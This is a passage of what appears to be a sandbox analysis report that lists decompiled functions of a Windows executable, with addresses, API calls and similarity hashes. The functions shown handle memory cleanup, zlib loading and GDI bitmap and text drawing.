				}
			}

0x00401a99
0x00401aa3
0x00401b79
0x00401aa9
0x00401aab
0x00401aac
0x00401ab1
0x00401ab4
0x00401abe
0x00401ac0
0x00401ac5
0x00401ac5
0x00401aca
0x00401ad1
0x00401ad7
0x00401ade
0x00401ae3
0x00401afd
0x00401af6
0x00401afb
0x00401afb
0x00401b0a
0x00401b14
0x00401b1e
0x00401b23
0x00401b2a
0x00401b2e
0x00401b35
0x00401b3a
0x00401b3f
0x00401b43
0x00401b4d
0x00401b59
0x00401b5b
0x00401b60
0x00401b60
0x00401b65
0x00401b6a
0x00401b6f
0x00401b6f

APIs

RtlEnterCriticalSection.KERNEL32(0048D420,00000000,00401B70), ref: 00401AC5
LocalFree.KERNEL32(0068F850,00000000,00401B70), ref: 00401AD7
VirtualFree.KERNEL32(?,00000000,00008000,0068F850,00000000,00401B70), ref: 00401AF6
LocalFree.KERNEL32(00691E20,?,00000000,00008000,0068F850,00000000,00401B70), ref: 00401B35
RtlLeaveCriticalSection.KERNEL32(0048D420,00401B77), ref: 00401B60
RtlDeleteCriticalSection.KERNEL32(0048D420,00401B77), ref: 00401B6A

Strings

T$i, xrefs: 00401AE3, 00401AFD, 00401B05
D$i, xrefs: 00401B0F

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID: D$i$T$i
API String ID: 3782394904-2756991575
Opcode ID: 68d932db4689e114aee9658c5227d6ca8a691041475f589188673913b12cc760
Instruction ID: 954f68671e0f677be55c5b6586aae97ede79eb7a3530a01ec67f03a117e7fc77
Opcode Fuzzy Hash: 68d932db4689e114aee9658c5227d6ca8a691041475f589188673913b12cc760
Instruction Fuzzy Hash: 0011BF70E022445BE715AB699C86F1E37A5A786B0CF44487BF40067AF2D77CB880C76D

Uniqueness

Uniqueness Score: -1.00%

Function 00459DC4 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00459DC4(intOrPtr __eax) {
				intOrPtr _t2;

				_push("inflateInit_");
				_push(__eax);
				L00405A9C();
				 *0x4adf48 = __eax;
				_push("inflate");
				_push(__eax);
				L00405A9C();
				 *0x4adf4c = __eax;
				_push("inflateEnd");
				_push(__eax);
				L00405A9C();
				 *0x4adf50 = __eax;
				_push("inflateReset");
				_push(__eax);
				L00405A9C();
				 *0x4adf54 = __eax;
				if( *0x4adf48 == 0 ||  *0x4adf4c == 0 ||  *0x4adf50 == 0 ||  *0x4adf54 == 0) {
					_t2 = 0;
				} else {
					_t2 = 1;
				}
				if(_t2 == 0) {
					 *0x4adf48 = 0;
					 *0x4adf4c = 0;
					 *0x4adf50 = 0;
					 *0x4adf54 = 0;
					return _t2;
				}
				return _t2;
			}

0x00459dc7
0x00459dcc
0x00459dcd
0x00459dd2
0x00459dd7
0x00459ddc
0x00459ddd
0x00459de2
0x00459de7
0x00459dec
0x00459ded
0x00459df2
0x00459df7
0x00459dfc
0x00459dfd
0x00459e02
0x00459e0e
0x00459e2b
0x00459e2f
0x00459e2f
0x00459e2f
0x00459e33
0x00459e37
0x00459e3f
0x00459e47
0x00459e4f
0x00000000
0x00459e4f
0x00459e56

APIs

6C8D5550.KERNEL32(00000000,inflateInit_,?,00474532,00000000,00474575), ref: 00459DCD
6C8D5550.KERNEL32(00000000,inflate,00000000,inflateInit_,?,00474532,00000000,00474575), ref: 00459DDD
6C8D5550.KERNEL32(00000000,inflateEnd,00000000,inflate,00000000,inflateInit_,?,00474532,00000000,00474575), ref: 00459DED
6C8D5550.KERNEL32(00000000,inflateReset,00000000,inflateEnd,00000000,inflate,00000000,inflateInit_,?,00474532,00000000,00474575), ref: 00459DFD

Strings

inflateReset, xrefs: 00459DF7
inflateEnd, xrefs: 00459DE7
inflateInit_, xrefs: 00459DC7
inflate, xrefs: 00459DD7

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D5550
String ID: inflate$inflateEnd$inflateInit_$inflateReset
API String ID: 183293030-3516654456
Opcode ID: 08be8e6723b555c98a90567aa473cb96b3cd92cfe30f32e8e3ddb5f49466edf1
Instruction ID: 593e9f5ebda3a002a962f724245eb82e3e35f3a9e9cc54a335af02b5c8b8f83e
Opcode Fuzzy Hash: 08be8e6723b555c98a90567aa473cb96b3cd92cfe30f32e8e3ddb5f49466edf1
Instruction Fuzzy Hash: 210121B0D40740DED724DF229C4676B3B95A78A306F14943BB807516E6D77C0C49CE1D

Uniqueness

Uniqueness Score: -1.00%

Function 0041A9A0 Relevance: 13.7, APIs: 9, Instructions: 176
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A9A0(void* __eax, intOrPtr __ecx, int* __edx, intOrPtr _a4, int* _a8) {
				intOrPtr _v8;
				long _v12;
				int _v16;
				int _v20;
				void* __edi;
				void* __ebp;
				intOrPtr* _t58;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr _t71;
				void* _t72;
				void* _t75;
				long _t78;
				intOrPtr _t90;
				long _t116;
				intOrPtr _t121;
				intOrPtr* _t138;
				intOrPtr* _t140;
				intOrPtr _t144;
				int* _t147;
				intOrPtr _t152;
				intOrPtr _t155;
				intOrPtr _t156;
				intOrPtr _t157;
				int* _t163;
				intOrPtr* _t167;

				_t149 = __ecx;
				_t58 = __eax + 0x55000000;
				_v8 = __ecx;
				_t147 = __edx;
				_t167 = _t58;
				_t163 = _a8;
				if(_v8 != 0) {
					 *((intOrPtr*)( *_t167 + 0x10))();
					_v16 = _t163[2] -  *_t163;
					_v20 = _t163[3] - _t163[1];
					_t152 =  *0x41aba0; // 0x1
					E0041B230(_t167, __ecx, _t152, _t163);
					if( *0x48c540 == 0) {
						 *0x48c540 = E0041CDEC(1);
						_t144 =  *0x48c540; // 0x0
						E0041D92C(_t144, 1);
					}
					_t67 =  *0x48c540; // 0x0
					if( *((intOrPtr*)( *_t67 + 0x20))() < _v16) {
						_t140 =  *0x48c540; // 0x0
						_t149 =  *_t140;
						 *((intOrPtr*)( *_t140 + 0x2c))();
					}
					_t69 =  *0x48c540; // 0x0
					_t154 =  *_t69;
					if( *((intOrPtr*)( *_t69 + 0x1c))() < _v20) {
						_t154 = _v20;
						_t138 =  *0x48c540; // 0x0
						_t149 =  *_t138;
						 *((intOrPtr*)( *_t138 + 0x28))();
					}
					_t71 =  *0x48c540; // 0x0
					_t72 = E0041D198(_t71, _t149, _t154);
					_t155 =  *0x41aba0; // 0x1
					E0041B230(_t72, _t149, _t155, _t163);
					_t75 = E0041D198(_v8, _t149, _t155);
					_t156 =  *0x41aba0; // 0x1
					E0041B230(_t75, _t149, _t156, _t163);
					_t78 = E0041A120(_a4);
					_v12 = SetBkColor( *(E0041D198(_v8, _t149, _t156) + 4), _t78);
					_t90 =  *0x48c540; // 0x0
					L00405CAC();
					SetBkColor( *(E0041D198(_v8, _t149, _t156) + 4), _v12);
					_t157 =  *0x41aba4; // 0x9
					E0041B230(_t167, _t149, _t157, _t163);
					StretchBlt( *(_t167 + 4),  *_t147, _t147[1], _t147[2] -  *_t147, _t147[3] - _t147[1],  *(E0041D198(_v8, _t149, _t157) + 4),  *_t163, _t163[1], _v16, _v20, 0xcc0020);
					_t116 = SetTextColor( *(_t167 + 4), 0);
					_v12 = SetBkColor( *(_t167 + 4), 0xffffff);
					_t121 =  *0x48c540; // 0x0
					StretchBlt( *(_t167 + 4),  *_t147, _t147[1], _t147[2] -  *_t147, _t147[3] - _t147[1],  *(E0041D198(_t121, _t149, _t157) + 4), 0, 0, _v16, _v20, 0xe20746);
					SetTextColor( *(_t167 + 4), _t116);
					SetBkColor( *(_t167 + 4), _v12);
					_t58 =  *((intOrPtr*)( *_t167 + 0xc))( *((intOrPtr*)(E0041D198(_t90, _t149, _t156) + 4)), 0, 0, _v16, _v20,  *(E0041D198(_v8, _t149, _t156) + 4),  *_t163, _t163[1], 0xcc0020);
				}
				return _t58;
			}

0x0041a9a0
0x0041a9a0
0x0041a9ad
0x0041a9b0
0x0041a9b2
0x0041a9b4
0x0041a9bb
0x0041a9c5
0x0041a9cd
0x0041a9d6
0x0041a9d9
0x0041a9e1
0x0041a9ed
0x0041a9fb
0x0041aa02
0x0041aa07
0x0041aa07
0x0041aa0c
0x0041aa19
0x0041aa1e
0x0041aa23
0x0041aa25
0x0041aa25
0x0041aa28
0x0041aa2d
0x0041aa35
0x0041aa37
0x0041aa3a
0x0041aa3f
0x0041aa41
0x0041aa41
0x0041aa44
0x0041aa49
0x0041aa4e
0x0041aa54
0x0041aa5c
0x0041aa61
0x0041aa67
0x0041aa6f
0x0041aa86
0x0041aaad
0x0041aabb
0x0041aad0
0x0041aad5
0x0041aadd
0x0041ab1a
0x0041ab25
0x0041ab3a
0x0041ab4e
0x0041ab74
0x0041ab7e
0x0041ab8b
0x0041ab94
0x0041ab94
0x0041ab9d

APIs

SetBkColor.GDI32(?,00000000), ref: 0041AA81
740C97E0.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020,?,00000000), ref: 0041AABB
SetBkColor.GDI32(?,?), ref: 0041AAD0
StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00CC0020), ref: 0041AB1A
SetTextColor.GDI32(00000000,00000000), ref: 0041AB25
SetBkColor.GDI32(00000000,00FFFFFF), ref: 0041AB35
StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00E20746), ref: 0041AB74
SetTextColor.GDI32(00000000,00000000), ref: 0041AB7E
SetBkColor.GDI32(00000000,?), ref: 0041AB8B

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Color$StretchText
String ID:
API String ID: 2984075790-0
Opcode ID: a0847ed805c51d6ef339c44866dcfa25d0a1342fb7fe693ec117bf44b0f3ab48
Instruction ID: 839f9af8d63d4b04d4c232501e0f74edd1192cd29eca4e1d51eb15ef29fa0893
Opcode Fuzzy Hash: a0847ed805c51d6ef339c44866dcfa25d0a1342fb7fe693ec117bf44b0f3ab48
Instruction Fuzzy Hash: 4561C4B5A00115AFCB40EFADD985E9EB7F8BF08304B1485A9F518DB256C738ED40CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041A9A4 Relevance: 13.7, APIs: 9, Instructions: 176
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A9A4(intOrPtr* __eax, intOrPtr __ecx, int* __edx, intOrPtr _a4, int* _a8) {
				intOrPtr _v8;
				long _v12;
				int _v16;
				int _v20;
				void* __edi;
				void* __ebp;
				intOrPtr* _t66;
				intOrPtr* _t68;
				intOrPtr _t70;
				void* _t71;
				void* _t74;
				long _t77;
				intOrPtr _t89;
				long _t115;
				intOrPtr _t120;
				intOrPtr* _t138;
				intOrPtr* _t140;
				intOrPtr _t144;
				int* _t146;
				intOrPtr _t150;
				intOrPtr _t153;
				intOrPtr _t154;
				intOrPtr _t155;
				int* _t160;
				intOrPtr* _t162;

				_t147 = __ecx;
				_v8 = __ecx;
				_t146 = __edx;
				_t162 = __eax;
				_t160 = _a8;
				if(_v8 != 0) {
					 *((intOrPtr*)( *__eax + 0x10))();
					_v16 = _t160[2] -  *_t160;
					_v20 = _t160[3] - _t160[1];
					_t150 =  *0x41aba0; // 0x1
					E0041B230(__eax, __ecx, _t150, _t160);
					if( *0x48c540 == 0) {
						 *0x48c540 = E0041CDEC(1);
						_t144 =  *0x48c540; // 0x0
						E0041D92C(_t144, 1);
					}
					_t66 =  *0x48c540; // 0x0
					if( *((intOrPtr*)( *_t66 + 0x20))() < _v16) {
						_t140 =  *0x48c540; // 0x0
						_t147 =  *_t140;
						 *((intOrPtr*)( *_t140 + 0x2c))();
					}
					_t68 =  *0x48c540; // 0x0
					_t152 =  *_t68;
					if( *((intOrPtr*)( *_t68 + 0x1c))() < _v20) {
						_t152 = _v20;
						_t138 =  *0x48c540; // 0x0
						_t147 =  *_t138;
						 *((intOrPtr*)( *_t138 + 0x28))();
					}
					_t70 =  *0x48c540; // 0x0
					_t71 = E0041D198(_t70, _t147, _t152);
					_t153 =  *0x41aba0; // 0x1
					E0041B230(_t71, _t147, _t153, _t160);
					_t74 = E0041D198(_v8, _t147, _t153);
					_t154 =  *0x41aba0; // 0x1
					E0041B230(_t74, _t147, _t154, _t160);
					_t77 = E0041A120(_a4);
					_v12 = SetBkColor( *(E0041D198(_v8, _t147, _t154) + 4), _t77);
					_t89 =  *0x48c540; // 0x0
					L00405CAC();
					SetBkColor( *(E0041D198(_v8, _t147, _t154) + 4), _v12);
					_t155 =  *0x41aba4; // 0x9
					E0041B230(_t162, _t147, _t155, _t160);
					StretchBlt( *(_t162 + 4),  *_t146, _t146[1], _t146[2] -  *_t146, _t146[3] - _t146[1],  *(E0041D198(_v8, _t147, _t155) + 4),  *_t160, _t160[1], _v16, _v20, 0xcc0020);
					_t115 = SetTextColor( *(_t162 + 4), 0);
					_v12 = SetBkColor( *(_t162 + 4), 0xffffff);
					_t120 =  *0x48c540; // 0x0
					StretchBlt( *(_t162 + 4),  *_t146, _t146[1], _t146[2] -  *_t146, _t146[3] - _t146[1],  *(E0041D198(_t120, _t147, _t155) + 4), 0, 0, _v16, _v20, 0xe20746);
					SetTextColor( *(_t162 + 4), _t115);
					SetBkColor( *(_t162 + 4), _v12);
					return  *((intOrPtr*)( *_t162 + 0xc))( *((intOrPtr*)(E0041D198(_t89, _t147, _t154) + 4)), 0, 0, _v16, _v20,  *(E0041D198(_v8, _t147, _t154) + 4),  *_t160, _t160[1], 0xcc0020);
				}
				return __eax;
			}

0x0041a9a4
0x0041a9ad
0x0041a9b0
0x0041a9b2
0x0041a9b4
0x0041a9bb
0x0041a9c5
0x0041a9cd
0x0041a9d6
0x0041a9d9
0x0041a9e1
0x0041a9ed
0x0041a9fb
0x0041aa02
0x0041aa07
0x0041aa07
0x0041aa0c
0x0041aa19
0x0041aa1e
0x0041aa23
0x0041aa25
0x0041aa25
0x0041aa28
0x0041aa2d
0x0041aa35
0x0041aa37
0x0041aa3a
0x0041aa3f
0x0041aa41
0x0041aa41
0x0041aa44
0x0041aa49
0x0041aa4e
0x0041aa54
0x0041aa5c
0x0041aa61
0x0041aa67
0x0041aa6f
0x0041aa86
0x0041aaad
0x0041aabb
0x0041aad0
0x0041aad5
0x0041aadd
0x0041ab1a
0x0041ab25
0x0041ab3a
0x0041ab4e
0x0041ab74
0x0041ab7e
0x0041ab8b
0x00000000
0x0041ab94
0x0041ab9d

APIs

SetBkColor.GDI32(?,00000000), ref: 0041AA81
740C97E0.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020,?,00000000), ref: 0041AABB
SetBkColor.GDI32(?,?), ref: 0041AAD0
StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00CC0020), ref: 0041AB1A
SetTextColor.GDI32(00000000,00000000), ref: 0041AB25
SetBkColor.GDI32(00000000,00FFFFFF), ref: 0041AB35
StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00E20746), ref: 0041AB74
SetTextColor.GDI32(00000000,00000000), ref: 0041AB7E
SetBkColor.GDI32(00000000,?), ref: 0041AB8B

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Color$StretchText
String ID:
API String ID: 2984075790-0
Opcode ID: c56cf52689fd51e5bd55cf85186bda95c83bec91cc31fa4deaf11f1e19070ac1
Instruction ID: ee86f0750f3c85e4cb2c78ceea8e401274d7fa79e019d7e0a2921028e538c732
Opcode Fuzzy Hash: c56cf52689fd51e5bd55cf85186bda95c83bec91cc31fa4deaf11f1e19070ac1
Instruction Fuzzy Hash: 5761C4B5A00115AFCB40EFADD985E9EB7F8BF08304B1085A9F518DB256C738ED40CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0044D0AC Relevance: 13.6, APIs: 9, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0044D0AC(void* __eax, int __ecx, struct tagRECT* __edx, char _a4, intOrPtr _a8) {
				int _t23;
				CHAR* _t25;
				long _t37;
				int _t44;
				CHAR* _t46;
				long _t53;
				int _t60;
				CHAR* _t62;
				void* _t68;

				_t72 = __ecx;
				_t73 = __edx;
				_t68 = __eax;
				_t74 = _a4;
				if(_a4 == 0) {
					_t23 = E004036BC(__eax);
					_t25 = E00403880(_t68);
					return DrawTextA(E0041B15C( *((intOrPtr*)( *((intOrPtr*)(_a8 - 4)) + 0x104))), _t25, _t23, __edx, __ecx);
				}
				E0041A82C( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_a8 - 4)) + 0x104)) + 0x14)), 1, _t74);
				OffsetRect(_t73, 1, 1);
				_t37 = GetSysColor(0x14);
				SetTextColor(E0041B15C( *((intOrPtr*)( *((intOrPtr*)(_a8 - 4)) + 0x104))), _t37);
				_t44 = E004036BC(_t68);
				_t46 = E00403880(_t68);
				DrawTextA(E0041B15C( *((intOrPtr*)( *((intOrPtr*)(_a8 - 4)) + 0x104))), _t46, _t44, _t73, _t72);
				OffsetRect(_t73, 0xffffffff, 0xffffffff);
				_t53 = GetSysColor(0x10);
				SetTextColor(E0041B15C( *((intOrPtr*)( *((intOrPtr*)(_a8 - 4)) + 0x104))), _t53);
				_t60 = E004036BC(_t68);
				_t62 = E00403880(_t68);
				return DrawTextA(E0041B15C( *((intOrPtr*)( *((intOrPtr*)(_a8 - 4)) + 0x104))), _t62, _t60, _t73, _t72);
			}

0x0044d0b2
0x0044d0b4
0x0044d0b6
0x0044d0b8
0x0044d0bc
0x0044d182
0x0044d18a
0x00000000
0x0044d1a2
0x0044d0d3
0x0044d0dd
0x0044d0e4
0x0044d0fc
0x0044d105
0x0044d10d
0x0044d125
0x0044d12f
0x0044d136
0x0044d14e
0x0044d157
0x0044d15f
0x00000000

APIs

OffsetRect.USER32(?,00000001,00000001), ref: 0044D0DD
GetSysColor.USER32(00000014), ref: 0044D0E4
SetTextColor.GDI32(00000000,00000000), ref: 0044D0FC
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D125
OffsetRect.USER32(?,000000FF,000000FF), ref: 0044D12F
GetSysColor.USER32(00000010), ref: 0044D136
SetTextColor.GDI32(00000000,00000000), ref: 0044D14E
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D177
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D1A2

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Text$Color$Draw$OffsetRect
String ID:
API String ID: 1005981011-0
Opcode ID: 33048d6fe813da3bf702f19ff274443e3f4d5eee3abaf323698d31b78f6c996e
Instruction ID: c739dd69d65c9e7912bbc932d9ac453e2b825e6c1c1415afdccf92aa0735ef3c
Opcode Fuzzy Hash: 33048d6fe813da3bf702f19ff274443e3f4d5eee3abaf323698d31b78f6c996e
Instruction Fuzzy Hash: 4921CCB42015007FC710FB6ECC9AE9B7BDC9F09359B01857AB958EB393C678DD448668

Uniqueness

Uniqueness Score: -1.00%

Function 0041B734 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 144
windowCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0041B734(intOrPtr* __eax, void* __ebx, intOrPtr* __ecx, intOrPtr* __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr* _v8;
				intOrPtr* _v12;
				signed int _v14;
				struct HWND__* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v36;
				signed int _v44;
				intOrPtr _v62;
				short _v64;
				void _v76;
				intOrPtr _t71;
				intOrPtr _t79;
				intOrPtr _t83;
				intOrPtr _t87;
				void* _t95;
				void* _t108;
				intOrPtr _t113;
				intOrPtr _t116;
				intOrPtr* _t123;
				intOrPtr* _t125;
				void* _t127;
				void* _t128;
				intOrPtr _t129;
				intOrPtr _t130;

				_t117 = __edi;
				_t127 = _t128;
				_t129 = _t128 + 0xffffffb8;
				_push(__edi);
				_v12 = __ecx;
				_v8 = __edx;
				_t123 = __eax;
				_t108 =  &_v76 + 4;
				 *((intOrPtr*)( *__eax))();
				_v76 = _a8;
				if(_v64 != 1) {
					E0041B444();
				}
				_t132 = _v44;
				if(_v44 == 0) {
					_v44 = E0041B5B0(_v62);
				}
				_v14 = _v44 << 2;
				_v32 = E00406A38((_v14 & 0x0000ffff) + 0x28, _t108, _t117, _t132);
				 *[fs:ecx] = _t129;
				_t95 = _v32;
				memcpy(_t95,  &_v76, 0xa << 2);
				_t130 = _t129 + 0xc;
				_t125 = _t123;
				_t121 =  *_t125;
				 *((intOrPtr*)( *_t125))( *[fs:ecx], 0x41b928, _t127);
				 *_v12 = E0041B5D0(_v32);
				_a4 = _a4 - (_v14 & 0x0000ffff) + 0x28;
				_t113 =  *((intOrPtr*)(_t95 + 0x14));
				if(_t113 != 0) {
					_t134 = _t113 - _a4;
					if(_t113 < _a4) {
						_a4 = _t113;
					}
				}
				_v28 = E00406A38(_a4, _t113, _t121, _t134);
				 *[fs:eax] = _t130;
				 *((intOrPtr*)( *_t125))( *[fs:eax], 0x41b904, _t127);
				_v20 = GetFocus();
				_t71 = _v20;
				_push(_t71);
				L0040602C();
				_v24 = _t71;
				if(_v24 == 0) {
					E0041B45C();
				}
				_push(_t127);
				_push(0x41b8e4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t130;
				if( *_v12 == 0) {
					__eflags = 0;
					_v36 = 0;
				} else {
					_push(0);
					_push( *_v12);
					_t87 = _v24;
					_push(_t87);
					L00405E2C();
					_v36 = _t87;
					_push(_v24);
					L00405DEC();
				}
				_push(_t127);
				_push(0x41b8c2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t130;
				_push(0);
				_push(_v32);
				_push(_v28);
				_push(4);
				_push(_v32);
				_t79 = _v24;
				_push(_t79);
				L00405CDC();
				 *_v8 = _t79;
				if( *_v8 == 0) {
					E0041B45C();
				}
				_pop(_t116);
				 *[fs:eax] = _t116;
				_push(E0041B8C9);
				if(_v36 == 0) {
					return 0;
				} else {
					_push(0);
					_push(_v36);
					_t83 = _v24;
					_push(_t83);
					L00405E2C();
					return _t83;
				}
			}

0x0041b734
0x0041b735
0x0041b737
0x0041b73c
0x0041b73d
0x0041b740
0x0041b743
0x0041b748
0x0041b754
0x0041b759
0x0041b761
0x0041b763
0x0041b763
0x0041b768
0x0041b76c
0x0041b777
0x0041b777
0x0041b781
0x0041b791
0x0041b79f
0x0041b7a2
0x0041b7b0
0x0041b7b0
0x0041b7b2
0x0041b7bc
0x0041b7be
0x0041b7cb
0x0041b7d6
0x0041b7d9
0x0041b7de
0x0041b7e0
0x0041b7e3
0x0041b7e5
0x0041b7e5
0x0041b7e3
0x0041b7f0
0x0041b7fe
0x0041b80b
0x0041b812
0x0041b815
0x0041b818
0x0041b819
0x0041b81e
0x0041b825
0x0041b827
0x0041b827
0x0041b82e
0x0041b82f
0x0041b834
0x0041b837
0x0041b840
0x0041b861
0x0041b863
0x0041b842
0x0041b842
0x0041b849
0x0041b84a
0x0041b84d
0x0041b84e
0x0041b853
0x0041b859
0x0041b85a
0x0041b85a
0x0041b868
0x0041b869
0x0041b86e
0x0041b871
0x0041b874
0x0041b879
0x0041b87d
0x0041b87e
0x0041b883
0x0041b884
0x0041b887
0x0041b888
0x0041b890
0x0041b898
0x0041b89a
0x0041b89a
0x0041b8a1
0x0041b8a4
0x0041b8a7
0x0041b8b0
0x0041b8c1
0x0041b8b2
0x0041b8b2
0x0041b8b7
0x0041b8b8
0x0041b8bb
0x0041b8bc
0x00000000
0x0041b8bc

APIs

GetFocus.USER32 ref: 0041B80D
740BAC50.USER32(?), ref: 0041B819
740BB410.GDI32(00000000,?,00000000,00000000,0041B8E4,?,?), ref: 0041B84E
740BB150.GDI32(00000000,00000000,?,00000000,00000000,0041B8E4,?,?), ref: 0041B85A
740BA7F0.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041B8C2,?,00000000,0041B8E4,?,?), ref: 0041B888
740BB410.GDI32(00000000,00000000,00000000,0041B8C9,?,?,00000000,00000000,0041B8C2,?,00000000,0041B8E4,?,?), ref: 0041B8BC

Strings

[rG, xrefs: 0041B73C

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: B410$B150Focus
String ID: [rG
API String ID: 1979529269-1780078340
Opcode ID: a8189996918be81ac9f98b6a3fba9c441f062151ba4384118a9bc054385206b8
Instruction ID: f3c935502b2b24554daab9b13747c211e985ab90b43413e07b92cff4b62194e0
Opcode Fuzzy Hash: a8189996918be81ac9f98b6a3fba9c441f062151ba4384118a9bc054385206b8
Instruction Fuzzy Hash: 61512D70A00208AFCB11DFA9C891AEEBBF9EF49704F114066F504A7351D7789D81CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA04 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 142
windowCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0041BA04(intOrPtr* __eax, void* __ebx, intOrPtr* __ecx, intOrPtr* __edx, void* __edi, void* __esi, intOrPtr _a8) {
				intOrPtr* _v8;
				intOrPtr* _v12;
				signed int _v14;
				struct HWND__* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				signed int _v40;
				intOrPtr _v42;
				short _v44;
				intOrPtr _v48;
				char _v52;
				intOrPtr* _t65;
				intOrPtr _t73;
				intOrPtr _t80;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr* _t94;
				void* _t104;
				signed int _t110;
				intOrPtr _t116;
				intOrPtr* _t121;
				void* _t124;
				void* _t125;
				intOrPtr _t126;
				signed int _t129;

				_t124 = _t125;
				_t126 = _t125 + 0xffffffd0;
				_push(__edi);
				_v12 = __ecx;
				_v8 = __edx;
				_t121 = __eax;
				_t104 =  &_v52 + 4;
				 *((intOrPtr*)( *__eax))();
				_v52 = _a8;
				_t127 = _v44 - 1;
				if(_v44 != 1) {
					E0041B444();
				}
				_v14 = E0041B5B0(_v42) + _t53 * 2;
				_v32 = E00406A38((_v14 & 0x0000ffff) + 0xf, _t104, _v14 & 0x0000ffff, _t127);
				 *[fs:edx] = _t126;
				_t94 = _v32;
				 *_t94 = _v52;
				 *((intOrPtr*)(_t94 + 4)) = _v48;
				 *((intOrPtr*)(_t94 + 8)) = _v44;
